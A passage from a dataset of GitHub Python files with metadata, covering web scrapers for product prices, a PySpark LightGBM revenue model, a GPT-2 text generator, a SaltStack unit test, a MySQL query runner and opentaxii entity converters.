sys.getrecursionlimit(): \n\t\t\t\treturn get_soup_in_country(option, tries+1)\n\t\t\telse:\n\t\t\t\tlogger.error(\"RECURSION LIMIT HIT!!!!!!\")\n\ttime.sleep(1)\n\tsoup = BeautifulSoup(driver.page_source, 'lxml')\n\n\treturn soup\n\n\n\ndef get_item_urls_in_soup(soup):\n\turl_list = []\n\titems = soup.select('.product-grid')\n\tfor item in items:\n\t\tlogger.info(item.a['href'])\n\t\turl_list.append(item.a['href'])\n\treturn url_list\n\n\ndef get_details_of_items(url_list):\n\tbase_url = \"https://www.lobstersnowboards.com\"\n\titem_list = []\n\tfor url in url_list: \n\t\tlogger.info(base_url+url)\n\t\tdriver.get(base_url+url)\n\t\tnew_item = Item()\n\t\tfor country_option in range(2, 30+1):\n\t\t\tsoup = get_soup_in_country(country_option)\n\n\t\t\ttry:\n\t\t\t\t\n\t\t\t\tname \t\t= soup.select(\".product-title\")[0].text[5:]\n\t\t\t\timg_url \t= soup.select(\".img-responsive\")[0]['src']\n\t\t\t\tcountry \t= soup.select(\".filter-option.pull-left\")[0].text\n\t\t\t\tprice \t\t= soup.select(\".product_price\")[0].select(\"h2\")[-1].text\n\t\t\t\tsize_soups \t= soup.select(\".text\")[34:]\n\t\t\t\tsizes = []\n\t\t\t\tfor size_soup in size_soups:\n\t\t\t\t\tsizes.append(size_soup.text)\n\n\t\t\t\tlogger.info(url)\n\t\t\t\tlogger.info(name)\n\t\t\t\tlogger.info(img_url)\n\t\t\t\tlogger.info(country)\n\t\t\t\tlogger.info(price)\n\t\t\t\tlogger.info(sizes)\n\t\t\t\tlogger.info(\"-------------------------------------------------------------\")\n\n\t\t\t\tif new_item.name == \"\":\n\t\t\t\t\tnew_item.item_url \t= url\n\t\t\t\t\tnew_item.name \t\t= name\n\t\t\t\t\tnew_item.img_url \t= img_url\n\t\t\t\tnew_item.prices.append({country:price})\n\t\t\t\tnew_item.sizes .append({country:sizes})\t\n\t\t\texcept:\n\t\t\t\tlogger.error(url+' not available in '+country)\n\n\t\t\t\n\n\t\twrite_in_csv(new_item)\n\ndef init_csv():\n\twith open('lobster.csv', 'w', newline='', encoding='utf-8') as csvfile:\n\t\tfields = ['ITEM_URL', 'NAME', 'IMG_URL', 'PRICES', 'SIZES']\n\t\twriter = csv.DictWriter(csvfile, fieldnames=fields)\n\t\twriter.writeheader()\n\ndef write_in_csv(item):\n\twith open('lobster.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\tfields = ['ITEM_URL', 'NAME', 'IMG_URL', 'PRICES', 'SIZES']\n\t\twriter = csv.DictWriter(csvfile, fieldnames=fields)\n\n\t\twriter.writerow({\n\t\t\t\t\t\t\t'ITEM_URL'\t:\titem.item_url,\n\t\t\t\t\t\t\t'NAME'\t\t:\titem.name.encode('utf-8', 'ignore').decode('utf-8', 'ignore'),\n\t\t\t\t\t\t\t'IMG_URL'\t:\titem.img_url,\n\t\t\t\t\t\t\t'PRICES'\t:\titem.prices,\n\t\t\t\t\t\t\t'SIZES'\t\t:\titem.sizes\n\t\t\t\t\t\t})\n\ndef main():\n\turl = 'https://www.lobstersnowboards.com/shop/'\n\n\tdriver.get(url)\n\tdriver.maximize_window()\n\n\tinit_csv()\n\n\tsoup = get_soup_in_country(2)\n\turl_list = get_item_urls_in_soup(soup)\n\tget_details_of_items(url_list)\n\n\tdriver.quit()", "repo_name": "CEAC333/scraper-lobster", "sub_path": "app/crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 3783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 14, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 14, "usage_type": "name"}, {"api_name": "sys.getrecursionlimit", "line_number": 52, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 56, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 57, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 117, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 123, "usage_type": "call"}]} {"seq_id": "27929922130", "text": "import os\nimport json\nimport numpy as np\nimport pandas as pd\nfrom pandas.io.json import json_normalize\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom plotly import tools\nimport plotly.offline as py\nimport plotly.graph_objs as go\nfrom sklearn import model_selection, preprocessing, metrics\nimport lightgbm as lgb\npd.options.mode.chained_assignment = None\npd.options.display.max_columns = 999\ncolor = sns.color_palette()\n\nSCRIPT_PATH = os.path.dirname(os.path.abspath( __file__ ))\n\nimport pyspark\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import functions as func\nspark=SparkSession.builder.appName('my_first_app_name').getOrCreate()\n\ntrain_df = spark.read.csv(SCRIPT_PATH +'/data/train_processed.csv', header=True, inferSchema=True)\ntest_df = spark.read.csv(SCRIPT_PATH +'/data/test_processed.csv', header=True, inferSchema=True)\n\nfor col in train_df.columns:\n c = col.replace(\".\",\"\")\n train_df = train_df.withColumnRenamed(col,c)\nfor col in test_df.columns:\n c = col.replace(\".\",\"\")\n test_df = test_df.withColumnRenamed(col,c)\n\n# print('train_df = dtpyes',train_df.dtypes)\n# print('test_df = dtpyes',test_df.dtypes)\n\ntrain_df = train_df.withColumn(\"totalstransactionRevenue\", train_df[\"totalstransactionRevenue\"].cast('float'))\ngdf = train_df.groupby(\"fullVisitorId\").agg(func.sum(\"totalstransactionRevenue\"))\n\n# cols = ['socialEngagementType',\n# 'devicebrowserSize',\n# 'devicebrowserVersion',\n# 'deviceflashVersion',\n# 'devicelanguage',\n# 'devicemobileDeviceBranding',\n# 'devicemobileDeviceInfo',\n# 'devicemobileDeviceMarketingName',\n# 'devicemobileDeviceModel',\n# 'devicemobileInputSelector',\n# 'deviceoperatingSystemVersion',\n# 'devicescreenColors',\n# 'devicescreenResolution',\n# 'geoNetworkcityId',\n# 'geoNetworklatitude',\n# 'geoNetworklongitude', \n# 'geoNetworknetworkLocation',\n# 'totalsvisits',\n# 'trafficSourceadwordsClickInfocriteriaParameters']\n\ncols = [c for c in train_df.columns if train_df.select(c).distinct().count()==1]\ncols_to_drop = cols + ['sessionId'] + [\"trafficSourcecampaignCode\"]\nfor c in cols_to_drop:\n train_df = train_df.drop(c)\n test_df = test_df.drop(c)\n\n# # Impute 0 for missing target values\ntrain_df = train_df.fillna(0, subset=['totalstransactionRevenue'])\ntrain_y = train_df.select(['totalstransactionRevenue'])\ntrain_id = train_df.select(['fullVisitorId'])\ntest_id = test_df.select(['fullVisitorId'])\n\nfrom pyspark.ml.feature import StringIndexer\nfrom pyspark.sql.functions import udf, log1p\nfrom pyspark.sql.types import StringType\n\ncat_cols = [\"channelGrouping\", \"device.browser\", \n \"device.deviceCategory\", \"device.operatingSystem\", \n \"geoNetwork.city\", \"geoNetwork.continent\",\n \"geoNetwork.country\", \"geoNetwork.metro\",\n \"geoNetwork.networkDomain\", \"geoNetwork.region\", \n \"geoNetwork.subContinent\", \"trafficSource.adContent\", \n \"trafficSource.adwordsClickInfo.adNetworkType\", \n \"trafficSource.adwordsClickInfo.gclId\", \n \"trafficSource.adwordsClickInfo.page\", \n \"trafficSource.adwordsClickInfo.slot\", \"trafficSource.campaign\",\n \"trafficSource.keyword\", \"trafficSource.medium\", \n \"trafficSource.referralPath\", \"trafficSource.source\",\n 'trafficSource.adwordsClickInfo.isVideoAd', 'trafficSource.isTrueDirect']\n\n# print(train_df.select(['trafficSourceadContent']).show())\n\n# some column cannot compute\ncats = []\nfor col in cat_cols:\n c = col.replace(\".\",\"\")\n udf1 = udf(lambda x: x if x is not None else \"None\",StringType())\n test_df = test_df.withColumn(c,udf1(c))\n train_df = train_df.withColumn(c,udf1(c))\n indexer = StringIndexer(inputCol=c, outputCol=c+\"_lbl\")\n train_df = indexer.fit(train_df).transform(train_df)\n indexer = StringIndexer(inputCol=c, outputCol=c+\"_lbl\")\n test_df = indexer.fit(test_df).transform(test_df)\n train_df = train_df.drop(c)\n test_df = test_df.drop(c)\n cats.append(c+\"_lbl\")\n\nprint('111')\n\nnums = []\nnum_cols = [\"totals.hits\", \"totals.pageviews\", \"visitNumber\", \"visitStartTime\", 'totals.bounces', 'totals.newVisits'] \nfor col in num_cols:\n col = col.replace(\".\",\"\")\n train_df = train_df.withColumn(col, train_df[col].cast('float'))\n test_df = test_df.withColumn(col, test_df[col].cast('float'))\n nums.append(col)\n\nfrom pyspark.sql.functions import unix_timestamp, lit\nfrom pyspark.sql.types import DateType\n\nudf1 = udf(lambda x:x[0:4]+'-'+x[4:6]+'-'+x[6:],StringType())\ntrain_df = (train_df.withColumn(\"date\", train_df[\"date\"].cast(\"string\"))).withColumn('date',udf1('date'))\ntrain_df = train_df.withColumn(\"date\",train_df['date'].cast(DateType()))\n\ndev_df = train_df.filter(train_df[\"date\"] <= lit('2017-03-01'))\nval_df = train_df.filter(train_df[\"date\"] > lit('2017-03-01'))\n\nprint('dev_df = dtpyes',dev_df.dtypes)\nprint('val_df = dtpyes',val_df.dtypes)\n\ndev_y = dev_df.withColumn(\"totalstransactionRevenuelog1p\",log1p('totalstransactionRevenue')).select(['totalstransactionRevenuelog1p'])\nval_y = val_df.withColumn(\"totalstransactionRevenuelog1p\",log1p('totalstransactionRevenue')).select(['totalstransactionRevenuelog1p'])\n\ndev_df = dev_df.toPandas()\nval_df = val_df.toPandas()\ndev_y = dev_y.toPandas()\nval_y = val_y.toPandas()\ntest_df = test_df.toPandas()\n\ndev_X = dev_df[cats + nums] \nval_X = val_df[cats + nums] \ntest_X = test_df[cats + nums] \n\n# custom function to run light gbm model\ndef run_lgb(train_X, train_y, val_X, val_y, test_X):\n params = {\n \"objective\" : \"regression\",\n \"metric\" : \"rmse\", \n \"num_leaves\" : 30,\n \"min_child_samples\" : 100,\n \"learning_rate\" : 0.1,\n \"bagging_fraction\" : 0.7,\n \"feature_fraction\" : 0.5,\n \"bagging_frequency\" : 5,\n \"bagging_seed\" : 2018,\n \"verbosity\" : -1\n }\n \n lgtrain = lgb.Dataset(train_X, label=train_y)\n lgval = lgb.Dataset(val_X, label=val_y)\n model = lgb.train(params, lgtrain, 1000, valid_sets=[lgval], early_stopping_rounds=100, verbose_eval=100)\n \n pred_test_y = model.predict(test_X, num_iteration=model.best_iteration)\n pred_val_y = model.predict(val_X, num_iteration=model.best_iteration)\n return pred_test_y, model, pred_val_y\n\n# Training the model #\npred_test, model, pred_val = run_lgb(dev_X, dev_y, val_X, val_y, test_X)\n\nfrom sklearn import metrics\npred_val[pred_val<0] = 0\nval_pred_df = pd.DataFrame({\"fullVisitorId\":val_df[\"fullVisitorId\"].values})\nval_pred_df[\"transactionRevenue\"] = val_df[\"totalstransactionRevenue\"].values\nval_pred_df[\"PredictedRevenue\"] = np.expm1(pred_val)\nval_pred_df = val_pred_df.groupby(\"fullVisitorId\")[\"transactionRevenue\", \"PredictedRevenue\"].sum().reset_index()\nprint(np.sqrt(metrics.mean_squared_error(np.log1p(val_pred_df[\"transactionRevenue\"].values), np.log1p(val_pred_df[\"PredictedRevenue\"].values))))\n\nsub_df = pd.DataFrame({\"fullVisitorId\":test_df[\"fullVisitorId\"].values})\npred_test[pred_test<0] = 0\nsub_df[\"PredictedLogRevenue\"] = np.expm1(pred_test)\nsub_df = sub_df.groupby(\"fullVisitorId\")[\"PredictedLogRevenue\"].sum().reset_index()\nsub_df.columns = [\"fullVisitorId\", \"PredictedLogRevenue\"]\nsub_df[\"PredictedLogRevenue\"] = np.log1p(sub_df[\"PredictedLogRevenue\"])\nsub_df.to_csv(SCRIPT_PATH +'/data/GA_version_1_lgb.csv', index=False)\n\nprint(sub_df.head())\nfig, ax = plt.subplots(figsize=(12,18))\nlgb.plot_importance(model, max_num_features=50, height=0.8, ax=ax)\nax.grid(False)\nplt.title(\"LightGBM - Feature Importance\", fontsize=15)\nplt.show()\n", "repo_name": "johnnyjana730/Pyspark-EX", "sub_path": "GA predicted-spark.py", "file_name": "GA predicted-spark.py", "file_ext": "py", "file_size_in_byte": 7589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.options", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pandas.options", "line_number": 14, "usage_type": "attribute"}, {"api_name": "seaborn.color_palette", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 22, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 22, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 38, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 96, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 96, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.StringIndexer", "line_number": 99, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.StringIndexer", "line_number": 101, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 120, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 120, "usage_type": "call"}, {"api_name": "pyspark.sql.types.DateType", "line_number": 122, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 124, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 125, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.log1p", "line_number": 130, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.log1p", "line_number": 131, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 158, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 159, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 160, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.expm1", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 175, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 175, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 175, "usage_type": "name"}, {"api_name": "numpy.log1p", "line_number": 175, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.expm1", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.log1p", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "lightgbm.plot_importance", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}]} {"seq_id": "70685237052", "text": "from bs4 import BeautifulSoup\nimport requests\nimport lxml\n\nURL = \"https://www.amazon.com/dp/B00X9JNWGS/ref=sbl_dpx_kitchen-electric-cookware_B08GC6PL3D_0\"\nheaders = {\n \"Accept-Language\": \"en-US\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4707.0 Safari/537.36\"\n}\n\nresponse = requests.get(url=URL, headers=headers)\nresponse.raise_for_status()\n\ncontent = response.text\nprint(content)\n\nsoup = BeautifulSoup(content, \"html.parser\")\nprice_span = soup.find(name=\"span\", class_=\"a-size-medium a-color-price priceBlockSalePriceString\")\nprice_text = price_span.getText()\nprice_fryer = price_text.split(\"$\")[1]\nprice_fryer = float(price_fryer)\nprint(price_fryer)\n\n", "repo_name": "fphuang/100-day-python", "sub_path": "amazon-price-tracker/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 11, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}]} {"seq_id": "12855331814", "text": "\"\"\"\n tests.unit.utils.beacons\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Test the salt beacon utils\n\"\"\"\n\nimport logging\n\nimport salt.utils.beacons as beacons\n\nlog = logging.getLogger(__name__)\n\n\ndef test_list_to_dict():\n \"\"\"\n Make sure you can instantiate etc.\n \"\"\"\n ret = beacons.list_to_dict([])\n assert isinstance(ret, dict)\n\n config = [{\"a\": \"b\"}, {\"c\": \"d\"}, {\"_e\": \"f\"}]\n ret = beacons.list_to_dict(config)\n assert isinstance(ret, dict)\n\n\ndef test_remove_hidden_options():\n \"\"\"\n Make sure you can instantiate etc.\n \"\"\"\n config = [{\"a\": \"b\"}, {\"c\": \"d\"}, {\"_e\": \"f\"}]\n expected = [{\"a\": \"b\"}, {\"c\": \"d\"}]\n ret = beacons.remove_hidden_options(config, [])\n assert ret == expected\n\n config = [{\"a\": \"b\"}, {\"c\": \"d\"}, {\"_e\": \"f\"}]\n expected = [{\"a\": \"b\"}, {\"c\": \"d\"}, {\"_e\": \"f\"}]\n ret = beacons.remove_hidden_options(config, [\"_e\"])\n assert ret == expected\n", "repo_name": "saltstack/salt", "sub_path": "tests/pytests/unit/utils/test_beacons.py", "file_name": "test_beacons.py", "file_ext": "py", "file_size_in_byte": 913, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "salt.utils.beacons.list_to_dict", "line_number": 19, "usage_type": "call"}, {"api_name": "salt.utils.beacons", "line_number": 19, "usage_type": "name"}, {"api_name": "salt.utils.beacons.list_to_dict", "line_number": 23, "usage_type": "call"}, {"api_name": "salt.utils.beacons", "line_number": 23, "usage_type": "name"}, {"api_name": "salt.utils.beacons.remove_hidden_options", "line_number": 33, "usage_type": "call"}, {"api_name": "salt.utils.beacons", "line_number": 33, "usage_type": "name"}, {"api_name": "salt.utils.beacons.remove_hidden_options", "line_number": 38, "usage_type": "call"}, {"api_name": "salt.utils.beacons", "line_number": 38, "usage_type": "name"}]} {"seq_id": "2003621430", "text": "from mysql.connector import connect\nimport json\nfrom os import path\nfrom utils import get_db_creds\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--table-type\",\n type=str,\n default=\"sample\",\n choices=[\"sample\", \"prod\"],\n help=\"\"\"Choose between creating\n Sample Tables or Production Tables.\n Defaults to Creating the Sample Tables.\n \"\"\"\n )\n args = parser.parse_args()\n\n db_creds = get_db_creds()\n connection = connect(**db_creds)\n cursor = connection.cursor()\n\n with open(f'test-sample.sql', 'r') as sql_file:\n result_iterator = cursor.execute(sql_file.read(), multi=True)\n for i, result in enumerate(result_iterator):\n print(f\"Running query: {i+1}\")\n print(f\"Affected {result.rowcount} rows\")\n try:\n result = []\n\n columns = [desc[0] for desc in cursor.description]\n\n for row in cursor.fetchall():\n result.append({col: row for col, row in zip(columns, row)})\n print(result)\n except TypeError as E:\n continue\n\n cursor.close()\n connection.close()\n\n\n", "repo_name": "mcompscis/recipeApp", "sub_path": "app/recipes/recipe_queries/execute_queries.py", "file_name": "execute_queries.py", "file_ext": "py", "file_size_in_byte": 1281, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "utils.get_db_creds", "line_number": 21, "usage_type": "call"}, {"api_name": "mysql.connector.connect", "line_number": 22, "usage_type": "call"}]} {"seq_id": "18133609402", "text": "import numpy as np\nimport pandas as pd\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nimport sys\nimport re\nimport warnings\nfrom pandas.core.common import SettingWithCopyWarning\nwarnings.simplefilter(action=\"ignore\", category=SettingWithCopyWarning)\nfrom transformers import GPT2Tokenizer, GPT2Model,AutoTokenizer\n\nfrom transformers import AutoTokenizer, AutoConfig, AutoModelForPreTraining, AdamW, get_linear_schedule_with_warmup, TrainingArguments, BeamScorer, Trainer\nimport torch\nfrom transformers import AutoModelForSequenceClassification, TrainingArguments, Trainer\nfrom transformers import TFGPT2LMHeadModel, GPT2Tokenizer\n\nSPECIAL_TOKENS = { \"bos_token\": \"<|BOS|>\",\n \"eos_token\": \"<|EOS|>\",\n \"unk_token\": \"<|UNK|>\",\n \"pad_token\": \"<|PAD|>\",\n \"sep_token\": \"<|SEP|>\"}\n\nfrom torch.utils.data import Dataset, DataLoader\nclass myDataset(Dataset):\n\n def __init__(self, data, tokenizer, randomize=True):\n title = data[\"Title\"].tolist()\n text = data[\"Text\"].tolist()\n keywords = data[\"key\"].tolist()\n\n self.randomize = randomize\n self.tokenizer = tokenizer\n self.title = title\n self.text = text\n self.keywords = keywords\n\n # ---------------------------------------------#\n\n @staticmethod\n def join_keywords(keywords, randomize=True):\n N = len(keywords)\n\n # random sampling and shuffle\n if randomize:\n M = random.choice(range(N + 1))\n keywords = keywords[:M]\n random.shuffle(keywords)\n\n return ','.join(keywords)\n\n # ---------------------------------------------#\n\n def __len__(self):\n return len(self.text)\n\n # ---------------------------------------------#\n\n def __getitem__(self, i):\n keywords = self.keywords[i].copy()\n kw = self.join_keywords(keywords, self.randomize)\n\n input = SPECIAL_TOKENS['bos_token'] + self.title[i] + \\\n SPECIAL_TOKENS['sep_token'] + kw + SPECIAL_TOKENS['sep_token'] + \\\n self.text[i] + SPECIAL_TOKENS['eos_token']\n\n encodings_dict = tokenizer(input,\n truncation=True,\n max_length=750,\n padding=\"max_length\")\n\n input_ids = encodings_dict['input_ids']\n attention_mask = encodings_dict['attention_mask']\n\n return {'label': torch.tensor(input_ids),\n 'input_ids': torch.tensor(input_ids),\n 'attention_mask': torch.tensor(attention_mask)}\nbase_model = \"gpt2\"\ntokenizer = AutoTokenizer.from_pretrained(base_model) #GPT2Tokenizer\n\ntokenizer.add_special_tokens(SPECIAL_TOKENS)\nprint(\"Special tokens added\")\n\nconfig = AutoConfig.from_pretrained(base_model,\n bos_token_id=tokenizer.bos_token_id,\n eos_token_id=tokenizer.eos_token_id,\n sep_token_id=tokenizer.sep_token_id,\n pad_token_id=tokenizer.pad_token_id,\n output_hidden_states=False)\n\nmodel = AutoModelForPreTraining.from_pretrained(base_model, config=config)\n\n\nmodel.resize_token_embeddings(len(tokenizer))\n\n#model.load_state_dict(torch.load(\"./tekrar/content/pytorch_model.bin\"))\n#model.load_state_dict(torch.load(r\"C:\\Saeid\\Prj100\\SA_33_txt_analytics\\for_Markus_\\claim\\ckeygpt\\pytorch_model.bin\"))\nmodel.load_state_dict(torch.load(r\"C:\\Saeid\\Prj100\\SA_33_txt_analytics\\for_Markus_\\claim\\ckeygpt\\pytorch_model.bin\", map_location=torch.device('cpu')))\n\n\n\n\ntitle = \"Climate change can affect hydropower operations through changes in the timing and magnitude of precipitation patterns\"\nkeywording = ['climate change', 'hydropower', 'energy', 'mitigate']\nkw = myDataset.join_keywords(keywording, randomize=False)\n\nprompt = SPECIAL_TOKENS['bos_token'] + title + \\\n SPECIAL_TOKENS['sep_token'] + kw + SPECIAL_TOKENS['sep_token']\n\ngenerated = torch.tensor(tokenizer.encode(prompt)).unsqueeze(0)\ndevice = torch.device(\"cpu\")\ngenerated = generated.to(device)\n\nmodel.eval();\n\nsample_outputs = model.generate(generated,\n do_sample=True,\n min_length=50,\n max_length=750,\n top_k=30,\n top_p=0.7,\n temperature=0.9,\n repetition_penalty=2.0,\n num_return_sequences=10\n )\n\nfor i, sample_output in enumerate(sample_outputs):\n text = tokenizer.decode(sample_output, skip_special_tokens=True)\n a = len(title) + len(','.join(keywording))\n print(\"{}: {}\\n\\n\".format(i+1, text[a:]))", "repo_name": "saeedashraf/climateGPT-2", "sub_path": "scr/ckeygpt_sentence generation.py", "file_name": "ckeygpt_sentence generation.py", "file_ext": "py", "file_size_in_byte": 4902, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.simplefilter", "line_number": 10, "usage_type": "call"}, {"api_name": "pandas.core.common.SettingWithCopyWarning", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 77, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 79, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 79, "usage_type": "name"}, {"api_name": "transformers.AutoConfig.from_pretrained", "line_number": 84, "usage_type": "call"}, {"api_name": "transformers.AutoConfig", "line_number": 84, "usage_type": "name"}, {"api_name": "transformers.AutoModelForPreTraining.from_pretrained", "line_number": 91, "usage_type": "call"}, {"api_name": "transformers.AutoModelForPreTraining", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 111, "usage_type": "call"}]} {"seq_id": "8419976296", "text": "import webbrowser\nimport pyperclip,sys\n\n# w = webbrowser.open(\"http://inventwithpython.com/\")\n\n# print(w) # Boolean Type (True even if webpage does not exists)\n\nif len(sys.argv)<2:\n clip = pyperclip.paste()\n # Newclip = clip\n # while clip==Newclip: # infinite check of changing clipboard\n # clip = pyperclip.paste()\n #870 Valencia St, San Francisco, CA 94110\n webbrowser.open(\"https://www.google.com/maps/place/\" + clip)\n # webbrowser.open_new_tab(\"https://www.google.com/maps/place/870+Valencia+St/@37.7590311,-122.4215096,17z/data=!3m1!4b1!4m2!3m1!1s0x808f7e3dadc07a37:0xc86b0b2bb93b73d8\")\n\nelse:\n clip = \" \".join(sys.argv[1:])\n webbrowser.open(\"https://www.google.com/maps/place/\" + clip)\n # webbrowser.open_new_tab(\"https://www.google.com/maps/place/870+Valencia+St/@37.7590311,-122.4215096,17z/data=!3m1!4b1!4m2!3m1!1s0x808f7e3dadc07a37:0xc86b0b2bb93b73d8\")\n", "repo_name": "dixit5sharma/WebScraping-Selenium", "sub_path": "MapIt.py", "file_name": "MapIt.py", "file_ext": "py", "file_size_in_byte": 903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pyperclip.paste", "line_number": 9, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "webbrowser.open", "line_number": 19, "usage_type": "call"}]} {"seq_id": "30255825245", "text": "import json\nimport pytz\n\nfrom opentaxii.taxii import entities\n\n\ndef to_collection_entity(model):\n if not model:\n return\n return entities.CollectionEntity(\n id=model.id,\n name=model.name,\n available=model.available,\n type=model.type,\n description=model.description,\n accept_all_content=model.accept_all_content,\n supported_content=deserialize_content_bindings(model.bindings),\n # TODO: Explicit integer\n # pending: https://github.com/TAXIIProject/libtaxii/issues/191\n volume=int(model.volume)\n )\n\n\ndef to_block_entity(model):\n if not model:\n return\n\n subtypes = [model.binding_subtype] if model.binding_subtype else None\n\n return entities.ContentBlockEntity(\n id=model.id,\n content=model.content,\n timestamp_label=enforce_timezone(model.timestamp_label),\n content_binding=entities.ContentBindingEntity(\n model.binding_id, subtypes=subtypes),\n message=model.message,\n inbox_message_id=model.inbox_message_id,\n )\n\n\ndef to_inbox_message_entity(model):\n if not model:\n return\n\n if model.destination_collections:\n names = json.loads(model.destination_collections)\n else:\n names = []\n\n return entities.InboxMessageEntity(\n id=model.id,\n message_id=model.message_id,\n original_message=model.original_message,\n content_block_count=model.content_block_count,\n destination_collections=names,\n service_id=model.service_id,\n result_id=model.result_id,\n record_count=model.record_count,\n partial_count=model.partial_count,\n subscription_collection_name=model.subscription_collection_name,\n subscription_id=model.subscription_id,\n exclusive_begin_timestamp_label=enforce_timezone(\n model.exclusive_begin_timestamp_label),\n inclusive_end_timestamp_label=enforce_timezone(\n model.inclusive_end_timestamp_label))\n\n\ndef to_result_set_entity(model):\n if not model:\n return\n return entities.ResultSetEntity(\n id=model.id,\n collection_id=model.collection_id,\n content_bindings=deserialize_content_bindings(model.bindings),\n timeframe=(\n enforce_timezone(model.begin_time),\n enforce_timezone(model.end_time)))\n\n\ndef to_subscription_entity(model):\n if not model:\n return\n\n if model.params:\n parsed = dict(json.loads(model.params))\n if parsed['content_bindings']:\n parsed['content_bindings'] = deserialize_content_bindings(\n parsed['content_bindings'])\n params = entities.PollRequestParametersEntity(**parsed)\n else:\n params = None\n\n return entities.SubscriptionEntity(\n service_id=model.service_id,\n subscription_id=model.id,\n collection_id=model.collection_id,\n poll_request_params=params,\n status=model.status\n )\n\n\ndef 